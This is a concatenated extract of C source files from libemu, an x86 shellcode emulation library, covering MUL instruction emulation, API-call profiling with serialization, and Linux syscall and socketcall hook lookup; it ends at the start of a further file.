"emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 488*/ #define INSTR_SET_FLAGS(cpu, upper_result) \ if (upper_result == 0) \ { \ CPU_FLAG_UNSET(cpu,f_cf); \ CPU_FLAG_UNSET(cpu,f_of); \ } \ else \ { \ CPU_FLAG_SET(cpu,f_cf); \ CPU_FLAG_SET(cpu,f_of); \ } int32_t instr_group_3_f6_mul(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* F6 /4 * Unsigned multiply (AX <- AL * r/m8) * MUL r/m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC(8, 16, c, *c->reg8[al], m8) *c->reg16[ax] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } else { /* F6 /4 * Unsigned multiply (AX <- AL * r/m8) * MUL r/m8 */ INSTR_CALC(8, 16, c, *c->reg8[al], *c->reg8[i->modrm.rm]) *c->reg16[ax] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } return 0; } int32_t instr_group_3_f7_mul(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /4 * Unsigned multiply (DX:AX <- AX * r/m16) * MUL r/m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC(16, 32, c, *c->reg16[al], m16) DWORD_UPPER_TO_WORD(*c->reg16[dx],operation_result); DWORD_LOWER_TO_WORD(*c->reg16[ax],operation_result); INSTR_SET_FLAGS(c,*c->reg16[dx]); } else { /* F7 /4 * Unsigned multiply (EDX:EAX <- EAX * r/m32) * MUL r/m32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC(32, 64, c, c->reg[eax], m32) QWORD_UPPER_TO_DWORD(c->reg[edx],operation_result); QWORD_LOWER_TO_DWORD(c->reg[eax],operation_result); INSTR_SET_FLAGS(c,c->reg[edx]); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /4 * Unsigned multiply (DX:AX <- AX * r/m16) * MUL r/m16 */ INSTR_CALC(16, 32, c, *c->reg16[al], *c->reg16[i->modrm.rm]) DWORD_UPPER_TO_WORD(*c->reg16[dx],operation_result); DWORD_LOWER_TO_WORD(*c->reg16[ax],operation_result); INSTR_SET_FLAGS(c,*c->reg16[dx]); } else { /* F7 /4 * Unsigned multiply (EDX:EAX <- EAX * r/m32) * MUL r/m32 */ INSTR_CALC(32, 64, c, c->reg[eax], c->reg[i->modrm.rm]) QWORD_UPPER_TO_DWORD(c->reg[edx],operation_result); QWORD_LOWER_TO_DWORD(c->reg[eax],operation_result); INSTR_SET_FLAGS(c,c->reg[edx]); } } return 0; } libemu-0.2.0+git20120122+564/src/environment/0000755000175300017530000000000011706767213017176 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/src/environment/emu_profile.c0000644000175300017530000006462011706767213021660 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2008 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include "emu/environment/emu_profile.h" /* static char *renderings[] = { "render_none", "render_ptr", "render_int", "render_struct", "render_string", "render_ip", "render_port", "render_array" }; */ typedef unsigned char byte; source_list_functions(emu_profile_functions,emu_profile_function_root, emu_profile_function, link); source_list_functions(emu_profile_arguments,emu_profile_argument_root, emu_profile_argument, link); struct emu_profile *emu_profile_new(void) { struct emu_profile *profile = malloc(sizeof(struct emu_profile)); memset(profile, 0, sizeof(struct emu_profile)); profile->functions = emu_profile_functions_create(); profile->argument_stack = emu_stack_new(); return profile; } void emu_profile_free(struct emu_profile *profile) { struct emu_profile_function *function; while ((function = emu_profile_functions_remove_first(profile->functions)) != NULL) { emu_profile_function_free(function); } emu_profile_functions_destroy(profile->functions); emu_stack_free(profile->argument_stack); free(profile); } void emu_profile_function_add(struct emu_profile *profile, char *fnname) { struct emu_profile_function *function = emu_profile_function_new(); function->retval = render_struct; function->fnname = strdup(fnname); emu_profile_functions_insert_last(profile->functions, function); } void emu_profile_argument_add(struct emu_profile *profile, struct emu_profile_argument *argument) { if (profile->last_ref == NULL) { emu_profile_argument_root *arg_root; if (emu_stack_empty(profile->argument_stack)) { struct emu_profile_function *function = emu_profile_functions_last(profile->functions); arg_root = function->arguments; }else { struct emu_profile_argument *stack_front = emu_stack_front(profile->argument_stack); arg_root = stack_front->value.tstruct.arguments; } emu_profile_arguments_insert_last(arg_root, argument); }else { profile->last_ref->value.tptr.ptr = argument; profile->last_ref = NULL; } } void emu_profile_argument_struct_start(struct emu_profile* profile, const char* structtype, const char* structname) { // printf("%s %s\n", __PRETTY_FUNCTION__, structname); struct emu_profile_argument *argument = emu_profile_argument_new(render_struct, structtype, structname); emu_profile_argument_add(profile, argument); emu_stack_push(profile->argument_stack, argument); } void emu_profile_argument_struct_end(struct emu_profile *profile) { // printf("%s %s\n", __PRETTY_FUNCTION__); emu_stack_pop(profile->argument_stack); } void emu_profile_argument_array_start(struct emu_profile* profile, const char* arraytype, const char* arrayname) { struct emu_profile_argument *argument = emu_profile_argument_new(render_array, arraytype, arrayname); emu_profile_argument_add(profile, argument); emu_stack_push(profile->argument_stack, argument); } void emu_profile_argument_array_end(struct emu_profile *profile) { emu_stack_pop(profile->argument_stack); } void emu_profile_argument_add_none(struct emu_profile *profile) { struct emu_profile_argument *argument = emu_profile_argument_new(render_none, "", ""); emu_profile_argument_add(profile, argument); } void emu_profile_argument_add_int(struct emu_profile *profile, char *argtype, char *argname, int32_t value) { struct emu_profile_argument *argument = emu_profile_argument_new(render_int, argtype, argname); argument->value.tint = value; emu_profile_argument_add(profile, argument); } void emu_profile_argument_add_short(struct emu_profile *profile, char *argtype, char *argname, int16_t value) { struct emu_profile_argument *argument = emu_profile_argument_new(render_short, argtype, argname); argument->value.tshort = value; emu_profile_argument_add(profile, argument); } void emu_profile_argument_add_string(struct emu_profile *profile, char *argtype, char *argname, char *value) { struct emu_profile_argument *argument = emu_profile_argument_new(render_string, argtype, argname); if (value == NULL) value = ""; argument->value.tchar = strdup(value); emu_profile_argument_add(profile, argument); } void emu_profile_argument_add_bytea(struct emu_profile *profile, char *argtype, char *argname, unsigned char *data, uint32_t size) { struct emu_profile_argument *argument = emu_profile_argument_new(render_bytea, argtype, argname); argument->value.bytea.data = malloc(size); memcpy(argument->value.bytea.data, data, size); argument->value.bytea.size = size; emu_profile_argument_add(profile, argument); } void emu_profile_argument_add_ptr(struct emu_profile *profile, char *argtype, char *argname, uint32_t value) { struct emu_profile_argument *argument = emu_profile_argument_new(render_ptr, argtype, argname); argument->value.tptr.addr = value; emu_profile_argument_add(profile, argument); profile->last_ref = argument; } void emu_profile_argument_add_ip(struct emu_profile *profile, char *argtype, char *argname, uint32_t value) { struct emu_profile_argument *argument = emu_profile_argument_new(render_ip, argtype, argname); argument->value.tint = value; emu_profile_argument_add(profile, argument); } void emu_profile_argument_add_port(struct emu_profile *profile, char *argtype, char *argname, uint32_t value) { struct emu_profile_argument *argument = emu_profile_argument_new(render_port, argtype, argname); argument->value.tint = value; emu_profile_argument_add(profile, argument); } void emu_profile_argument_add_sockaddr_ptr(struct emu_profile *profile, const char *name, uint32_t ptr, struct sockaddr sa) { if ( sa.sa_family == AF_INET ) { struct sockaddr_in *si = (struct sockaddr_in *)&sa; emu_profile_argument_add_ptr(profile, "sockaddr_in *", (char*)name, ptr); emu_profile_argument_struct_start(profile, "", ""); emu_profile_argument_add_short(profile, "short", "sin_family", si->sin_family); emu_profile_argument_add_port(profile, "unsigned short", "sin_port", si->sin_port); emu_profile_argument_struct_start(profile, "in_addr", "sin_addr"); emu_profile_argument_add_ip(profile, "unsigned long", "s_addr", si->sin_addr.s_addr); emu_profile_argument_struct_end(profile); emu_profile_argument_add_string(profile, "char", "sin_zero", " "); emu_profile_argument_struct_end(profile); } else { emu_profile_argument_struct_start(profile, "sockaddr *", "name"); emu_profile_argument_struct_end(profile); } } struct emu_profile_function *emu_profile_function_new(void) { struct emu_profile_function *function = malloc(sizeof(struct emu_profile_function)); memset(function, 0, sizeof(struct emu_profile_function)); function->arguments = emu_profile_arguments_create(); emu_profile_functions_init_link(function); function->return_value = emu_profile_argument_new(render_int, "ERROR ", ""); function->return_value->value.tint = -1; return function; } void emu_profile_function_free(struct emu_profile_function *function) { struct emu_profile_argument *argument; while ((argument = emu_profile_arguments_remove_first(function->arguments)) != NULL ) { emu_profile_argument_free(argument); } if (function->fnname != NULL) free(function->fnname); emu_profile_arguments_destroy(function->arguments); emu_profile_argument_free(function->return_value); free(function); } void emu_profile_function_returnvalue_int_set(struct emu_profile *profile, const char *type, int value) { struct emu_profile_function *function = emu_profile_functions_last(profile->functions); if (function->return_value->argtype != NULL) free(function->return_value->argtype); function->return_value->argtype = strdup(type); function->return_value->render = render_int; function->return_value->value.tint = value; } void emu_profile_function_returnvalue_ptr_set(struct emu_profile *profile, const char *type, int value) { struct emu_profile_function *function = emu_profile_functions_last(profile->functions); if (function->return_value->argtype != NULL) free(function->return_value->argtype); function->return_value->argtype = strdup(type); function->return_value->render = render_ptr; function->return_value->value.tptr.addr = value; profile->last_ref = function->return_value; } uint32_t measure_size(struct emu_profile_argument *argument, bool followptr) { uint32_t size = 0; struct emu_profile_argument *argumentit; switch(argument->render) { case render_struct: for (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); !emu_profile_arguments_istail(argumentit); argumentit = emu_profile_arguments_next(argumentit)) { size += measure_size(argumentit, followptr); } break; case render_array: for (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); !emu_profile_arguments_istail(argumentit); argumentit = emu_profile_arguments_next(argumentit)) { size += measure_size(argumentit, followptr); } break; case render_int: size += 4; break; case render_short: size += 2; break; case render_string: size += strlen(argument->value.tchar) +1; break; case render_bytea: size += argument->value.bytea.size; break; case render_ptr: { size += sizeof(uintptr_t); // += 4; if (followptr) size += measure_size(argument->value.tptr.ptr, followptr); } break; case render_ip: size += 4; break; case render_port: size += 2; break; case render_none: size += 4; break; } return size; } int copy_data(struct emu_profile_argument *argument, uint8_t *addr, uint8_t **next) { // printf("%s : %i \n", __PRETTY_FUNCTION__, __LINE__); uintptr_t *addrp = (uintptr_t *)addr; uint32_t *addr32 = (uint32_t *)addr; uint16_t *addr16 = (uint16_t *)addr; int size = measure_size(argument, false); int offset = 0; struct emu_profile_argument *argumentit; if (addr == *next) { *next = addr + size; } switch(argument->render) { case render_struct: for (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); !emu_profile_arguments_istail(argumentit); argumentit = emu_profile_arguments_next(argumentit)) { // size += measure_size(argumentit, false); offset += copy_data(argumentit, addr+offset, next); } break; case render_array: for (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); !emu_profile_arguments_istail(argumentit); argumentit = emu_profile_arguments_next(argumentit)) { // size += measure_size(argumentit, level - 1); offset += copy_data(argumentit, addr+offset, next); } break; case render_int: // size += 4; *addr32 = argument->value.tint; break; case render_short: *addr16 = argument->value.tshort; break; case render_string: // size += strlen(argument->value.tchar) +1; strcpy((char *)addr, argument->value.tchar); break; case render_bytea: memcpy((char *)addr, argument->value.bytea.data, argument->value.bytea.size); break; case render_ptr: { // size += 4; // size += measure_size(argument->value.tptr.ptr, false); *addrp = (uintptr_t)*next; copy_data(argument->value.tptr.ptr, *next, next); } break; case render_ip: // size += 4; *addr32 = argument->value.tint; break; case render_port: // size += 2; *addr16 = (uint16_t)argument->value.tint; break; case render_none: // size += 4; break; } return size; } void *emu_profile_function_argument_get(struct emu_profile_function *function, int argc) { struct emu_profile_argument *argument; if ( argc == 0 ) { argument = function->return_value; }else { int i = 1; argument = emu_profile_arguments_first(function->arguments); while ( i < argc ) { argument = emu_profile_arguments_next(argument); i++; if ( emu_profile_arguments_istail(argument) ) return NULL; } } uint32_t size = 0; size = measure_size(argument, true); // printf("%s size is %i\n", argument->argname, size); uint8_t *data = malloc(size); uint8_t *next = data; memset(data, 0x90, size); copy_data(argument, data, &next); return data; } struct emu_profile_argument *emu_profile_argument_new(enum emu_profile_argument_render render, const char *type, const char *name) { struct emu_profile_argument *argument = malloc(sizeof(struct emu_profile_argument)); memset(argument, 0, sizeof(struct emu_profile_argument)); emu_profile_arguments_init_link(argument); if ( render != render_none ) { argument->argname = strdup(name); argument->argtype = strdup(type); } argument->render = render; if (render == render_struct || render == render_array) { argument->value.tstruct.arguments = emu_profile_arguments_create(); } return argument; } void emu_profile_argument_free(struct emu_profile_argument *argument) { if (argument->argname != NULL) free(argument->argname); if (argument->argtype != NULL) free(argument->argtype); switch(argument->render) { case render_port: case render_ip: case render_none: case render_int: case render_short: break; case render_string: if (argument->value.tchar != NULL) free(argument->value.tchar); break; case render_bytea: if (argument->value.bytea.data != NULL) free(argument->value.bytea.data); break; case render_ptr: emu_profile_argument_free(argument->value.tptr.ptr); break; case render_array: case render_struct: { struct emu_profile_argument *argumentit; while ((argumentit = emu_profile_arguments_remove_first(argument->value.tstruct.arguments)) != NULL ) { emu_profile_argument_free(argumentit); } emu_profile_arguments_destroy(argument->value.tstruct.arguments); } break; } free(argument); } char *indents(int i) { static char indents[255]; memset(indents, ' ', 255); indents[i*4] = '\0'; return indents; } void emu_profile_argument_debug(struct emu_profile_argument *argument, int indent) { // printf("%s %s = ", indents(indent), argument->argname); switch(argument->render) { case render_struct: printf("%s struct %s %s = {\n", indents(indent), argument->argtype, argument->argname); struct emu_profile_argument *argumentit; for (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); !emu_profile_arguments_istail(argumentit); argumentit = emu_profile_arguments_next(argumentit)) { emu_profile_argument_debug(argumentit,indent+1); } printf("%s };\n", indents(indent)); break; case render_array: printf("%s %s %s = [\n", indents(indent), argument->argtype, argument->argname); for (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); !emu_profile_arguments_istail(argumentit); argumentit = emu_profile_arguments_next(argumentit)) { emu_profile_argument_debug(argumentit,indent+1); } printf("%s ];\n", indents(indent)); break; case render_int: printf("%s %s %s = %i;\n", indents(indent), argument->argtype, argument->argname, argument->value.tint); break; case render_short: printf("%s %s %s = %i;\n", indents(indent), argument->argtype, argument->argname, argument->value.tshort); break; case render_string: printf("%s %s %s = \"%s\";\n", indents(indent), argument->argtype, argument->argname, argument->value.tchar); break; case render_bytea: printf("%s %s %s = \"%s\" (%i bytes);\n", indents(indent), argument->argtype, argument->argname, ".binary.", argument->value.bytea.size); break; case render_ptr: { struct emu_profile_argument *argit = argument; while (argit->render == render_ptr) { argit = argit->value.tptr.ptr; } if (argit->render == render_struct) printf("%s struct %s %s = 0x%08x => \n", indents(indent), argument->argtype, argument->argname, argument->value.tptr.addr); else printf("%s %s %s = 0x%08x => \n", indents(indent), argument->argtype, argument->argname, argument->value.tptr.addr); emu_profile_argument_debug(argument->value.tptr.ptr, indent+1); } break; case render_ip: printf("%s %s %s = %i (host=%s);\n", indents(indent), argument->argtype, argument->argname, argument->value.tint, inet_ntoa(*(struct in_addr *)&argument->value.tint)); break; case render_port: printf("%s %s %s = %i (port=%i);\n", indents(indent), argument->argtype, argument->argname, argument->value.tint, ntohs((uint16_t)argument->value.tint)); break; case render_none: printf("%s none;\n", indents(indent)); break; } } void emu_profile_debug(struct emu_profile *profile) { struct emu_profile_function *function; for (function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function)) { emu_profile_function_debug(function); } } void emu_profile_function_debug(struct emu_profile_function *function) { printf("%s %s ", function->return_value->argtype, function->fnname); printf("(\n"); struct emu_profile_argument *argument; for (argument = emu_profile_arguments_first(function->arguments); !emu_profile_arguments_istail(argument); argument = emu_profile_arguments_next(argument)) { emu_profile_argument_debug(argument,1); } printf(")"); switch (function->return_value->render) { case render_none: printf(";\n"); break; case render_int: printf(" = %i;\n", function->return_value->value.tint); break; case render_ptr: printf(" = 0x%08x;\n", function->return_value->value.tptr.addr); break; default: printf(";\n"); break; } } int emu_profile_dump_byte_write(FILE *f, byte value) { if (fwrite(&value, 1, 1, f) == 1) return 0; return -1; } int emu_profile_dump_int_write(FILE *f, int value) { uint32_t nval = htonl(value); if (fwrite(&nval, 4, 1, f) == 4) return 0; return -1; } int emu_profile_dump_short_write(FILE *f, int16_t value) { int16_t nval = htons(value); if (fwrite(&nval, 2, 1, f) == 2) return 0; return -1; } int emu_profile_dump_string_write(FILE *f, const char *string) { uint32_t strsize = 0; if (string) strsize = strlen(string); emu_profile_dump_int_write(f, strsize); if (fwrite(string, strsize, 1, f) == strsize) return 0; return -1; } int emu_profile_dump_bytea_write(FILE *f, const unsigned char *data, uint32_t size) { emu_profile_dump_int_write(f, size); if (fwrite(data, size, 1, f) == size) return 0; return -1; } int emu_profile_argument_dump(FILE *f, struct emu_profile_argument *argument) { emu_profile_dump_byte_write(f, (byte)argument->render); emu_profile_dump_string_write(f, argument->argtype); emu_profile_dump_string_write(f, argument->argname); switch ( argument->render ) { case render_struct: case render_array: { emu_profile_dump_int_write(f, emu_profile_arguments_length(argument->value.tstruct.arguments)); struct emu_profile_argument *argumentit=NULL; for ( argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); !emu_profile_arguments_istail(argumentit); argumentit = emu_profile_arguments_next(argumentit) ) { emu_profile_argument_dump(f, argumentit); } } break; case render_int: emu_profile_dump_int_write(f, argument->value.tint); break; case render_short: emu_profile_dump_short_write(f, argument->value.tshort); break; case render_string: emu_profile_dump_string_write(f, argument->value.tchar); break; case render_bytea: emu_profile_dump_bytea_write(f, argument->value.bytea.data, argument->value.bytea.size); break; case render_ip: case render_port: if (fwrite(&argument->value.tint, 4, 1, f) == 4) return 0; break; case render_none: break; case render_ptr: emu_profile_dump_int_write(f, argument->value.tptr.addr); emu_profile_argument_dump(f, argument->value.tptr.ptr); break; } return 0; } int emu_profile_function_dump(FILE *f, struct emu_profile_function *function) { emu_profile_dump_string_write(f, function->fnname); emu_profile_dump_int_write(f, emu_profile_arguments_length(function->arguments)); struct emu_profile_argument *argumentit; for (argumentit = emu_profile_arguments_first(function->arguments); !emu_profile_arguments_istail(argumentit); argumentit = emu_profile_arguments_next(argumentit)) { emu_profile_argument_dump(f, argumentit); } emu_profile_argument_dump(f, function->return_value); return 0; } int emu_profile_dump(struct emu_profile *profile, const char *path) { /* FUNCTION ARGUMENTS RETVAL RETVAL : ARGUMENTS FUNCTION: name STRING argcount INT ARGUMENTS: ARGUMENT(s) ARGUMENT: render: 1 byte type: STRING name: STRING optcount: INT ARGUMENT(s) STRING: INT len char string[len] */ FILE *f; if ((f = fopen(path, "w+")) == NULL) return -1; emu_profile_dump_int_write(f, emu_profile_functions_length(profile->functions)); struct emu_profile_function *function; for (function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function)) { emu_profile_function_dump(f, function); } fclose(f); return 0; } int emu_profile_dump_byte_read(FILE *f, byte *b) { if (fread(b, 1, 1, f) == 1) { return 0; } return -1; } int emu_profile_dump_int_read(FILE *f, int *i) { if (fread(i, 1, 4, f) == 4) { *i = ntohl(*i); return 0; } return -1; } int emu_profile_dump_short_read(FILE *f, int16_t *i) { if (fread(i, 1, 2, f) == 2) { *i = ntohs(*i); return 0; } return -1; } int emu_profile_dump_string_read(FILE *f, char **string) { int strsize = 0; emu_profile_dump_int_read(f, &strsize); *string = malloc(strsize+1); memset(*string, 0, strsize+1); if (fread(*string, 1, strsize, f) != strsize) return -1; return 0; } int emu_profile_dump_bytea_read(FILE *f, unsigned char **data, uint32_t *size) { emu_profile_dump_int_read(f, (int *)size); *data = malloc(*size); memset(*data, 0, *size); if (fread(*data, 1, *size, f) != *size) return -1; return 0; } int emu_profile_argument_parse(FILE *f, struct emu_profile *profile) { byte render; char *argtype; char *argname; emu_profile_dump_byte_read(f, &render); emu_profile_dump_string_read(f, &argtype); emu_profile_dump_string_read(f, &argname); if (render > render_array) return 0; // printf("%i %s %s %s\n",render , renderings[render], argtype, argname); switch ( render ) { case render_struct: { emu_profile_argument_struct_start(profile, argtype, argname); int argcount=0; emu_profile_dump_int_read(f, &argcount); // printf("parsing %i struct arguments\n", argcount); while ( argcount > 0 ) { emu_profile_argument_parse(f, profile); argcount--; } emu_profile_argument_struct_end(profile); } break; case render_array: { emu_profile_argument_array_start(profile, argtype, argname); int argcount=0; emu_profile_dump_int_read(f, &argcount); // printf("parsing %i array arguments\n", argcount); while ( argcount > 0 ) { emu_profile_argument_parse(f, profile); argcount--; } emu_profile_argument_array_end(profile); } break; case render_int: { int value = 0; emu_profile_dump_int_read(f, &value); emu_profile_argument_add_int(profile, argtype, argname, value); } break; case render_short: { int16_t value = 0; emu_profile_dump_short_read(f,&value); emu_profile_argument_add_short(profile, argtype, argname, value); } break; case render_string: { char *string; emu_profile_dump_string_read(f, &string); emu_profile_argument_add_string(profile, argtype, argname, string); } break; case render_bytea: { unsigned char *data; uint32_t size; emu_profile_dump_bytea_read(f, &data, &size); emu_profile_argument_add_bytea(profile, argtype, argname, data, size); } break; case render_port: { uint32_t x = 0; if ( fread(&x, 4, 1, f) == 4) emu_profile_argument_add_port(profile, argtype, argname, x); } break; case render_ip: { uint32_t x = -1; if ( fread(&x, 4, 1, f) == 4) emu_profile_argument_add_ip(profile, argtype, argname, x); } break; case render_none: emu_profile_argument_add_none(profile); break; case render_ptr: { int addr = -1; emu_profile_dump_int_read(f, &addr); emu_profile_argument_add_ptr(profile, argtype, argname, addr); emu_profile_argument_parse(f, profile); } break; } return 0; } int emu_profile_function_parse(FILE *f, struct emu_profile *profile) { char *fnname; emu_profile_dump_string_read(f, &fnname); emu_profile_function_add(profile, fnname); int argcount = 0; emu_profile_dump_int_read(f, &argcount); // printf("parsing %i function arguments\n", argcount); while (argcount > 0) { emu_profile_argument_parse(f, profile); argcount--; } emu_profile_argument_parse(f, profile); struct emu_profile_function *function = emu_profile_functions_last(profile->functions); struct emu_profile_argument *argument = emu_profile_arguments_remove_last(function->arguments); function->return_value = argument; return 0; } int emu_profile_parse(struct emu_profile *profile, const char *path) { FILE *f; if ((f = fopen(path, "r")) == NULL) return -1; int functions = 0; emu_profile_dump_int_read(f, &functions); // printf("parsing %i functions\n", functions); while (functions > 0) { emu_profile_function_parse(f, profile); functions--; } fclose(f); return 0; } libemu-0.2.0+git20120122+564/src/environment/emu_env.c0000644000175300017530000000343411706767213021004 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2008 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/linux/emu_env_linux.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" struct emu_env *emu_env_new(struct emu *e) { struct emu_env *env = malloc(sizeof(struct emu_env)); memset(env, 0, sizeof(struct emu_env)); env->env.lin = emu_env_linux_new(e); env->env.win = emu_env_w32_new(e); env->emu = e; env->profile = NULL;//emu_profile_new(); return env; } void emu_env_free(struct emu_env *env) { emu_env_w32_free(env->env.win); emu_env_linux_free(env->env.lin); if (env->profile != NULL) emu_profile_free(env->profile); free(env); } libemu-0.2.0+git20120122+564/src/environment/linux/0000755000175300017530000000000011706767213020335 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/src/environment/linux/emu_env_linux.c0000644000175300017530000001062711706767213023364 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_memory.h" #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/linux/emu_env_linux.h" #include "emu/environment/linux/env_linux_syscalls.h" struct emu_env_linux *emu_env_linux_new(struct emu *e) { struct emu_env_linux *eel = malloc(sizeof(struct emu_env_linux)); memset(eel, 0, sizeof(struct emu_env_linux)); eel->emu = e; eel->syscall_hooks_by_name = emu_hashtable_new(256, emu_hashtable_string_hash, emu_hashtable_string_cmp); int i; eel->syscall_hookx = malloc(sizeof(syscall_hooks)); eel->hooks = malloc(sizeof(struct emu_env_hook)*(sizeof(syscall_hooks)/sizeof(struct emu_env_linux_syscall))); memcpy(eel->syscall_hookx, syscall_hooks, sizeof(syscall_hooks)); for (i=0;ihooks[i].type = emu_env_type_linux; eel->hooks[i].hook.lin = &eel->syscall_hookx[i]; emu_hashtable_insert(eel->syscall_hooks_by_name, (void *)eel->syscall_hookx[i].name, (void *)&eel->hooks[i]); } // eel->profile = emu_profile_new(); return eel; } void emu_env_linux_free(struct emu_env_linux *eel) { emu_hashtable_free(eel->syscall_hooks_by_name); free(eel->syscall_hookx); free(eel->hooks); // emu_profile_free(eel->profile); free(eel); } struct emu_env_hook *emu_env_linux_syscall_check(struct emu_env *env) { struct emu_cpu *cpu = emu_cpu_get(env->env.lin->emu); if ( cpu->instr.is_fpu == false && cpu->instr.opc == 0xcd && *cpu->instr.cpu.imm8 == 0x80 ) { uint8_t callnum = *cpu->reg8[al]; if ( callnum < sizeof(env_linux_syscalls) / sizeof(struct emu_env_linux_syscall_entry) ) { const char *name = NULL ; if ( env_linux_syscalls[callnum].name != NULL ) { name = env_linux_syscalls[callnum].name; } else if ( env_linux_syscalls[callnum].fnhook != NULL ) { name = env_linux_syscalls[callnum].fnhook(env->env.lin); } if ( name != NULL ) { struct emu_hashtable_item *ehi = emu_hashtable_search(env->env.lin->syscall_hooks_by_name, (void *)name); if ( ehi != NULL ) { return (struct emu_env_hook *)ehi->value; } } } } return NULL; } int32_t emu_env_linux_syscall_hook(struct emu_env *env, const char *syscallname, uint32_t (*userhook)(struct emu_env *env, struct emu_env_hook *hook, ...), void *userdata) { struct emu_hashtable_item *ehi = emu_hashtable_search(env->env.lin->syscall_hooks_by_name, (void *)syscallname); if (ehi != NULL) { struct emu_env_hook *hook = (struct emu_env_hook *)ehi->value; hook->hook.lin->userhook = userhook; hook->hook.lin->userdata = userdata; return 0; } return -1; } const char *env_linux_socketcall(struct emu_env_linux *env) { static const char *socketcall_table [] = { /* 0 */ NULL, /* 1 */ "socket", /* 2 */ "bind", /* 3 */ "connect", /* 4 */ "listen", /* 5 */ "accept", /* 6 */ "getsockname", /* 7 */ "getpeername", /* 8 */ "socketpair", /* 9 */ "send", /* 10 */ "recv", /* 11 */ "sendto", /* 12 */ "recvfrom", /* 13 */ "shutdown", /* 14 */ "setsockopt", /* 15 */ "getsockopt", /* 16 */ "sendmsg", /* 17 */ "recvmsg", }; struct emu_cpu *cpu = emu_cpu_get(env->emu); if (cpu->reg[ebx] == 0 || cpu->reg[ebx] > 17) return NULL; return socketcall_table[cpu->reg[ebx]]; } libemu-0.2.0+git20120122+564/src/environment/linux/env_linux_syscall_hooks.c0000644000175300017530000002425111706767213025451 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ // for the socket hooks #include #include #include #include #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #include "emu/emu_string.h" #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/linux/emu_env_linux.h" int32_t env_linux_hook_exit(struct emu_env *env, struct emu_env_hook *hook) { 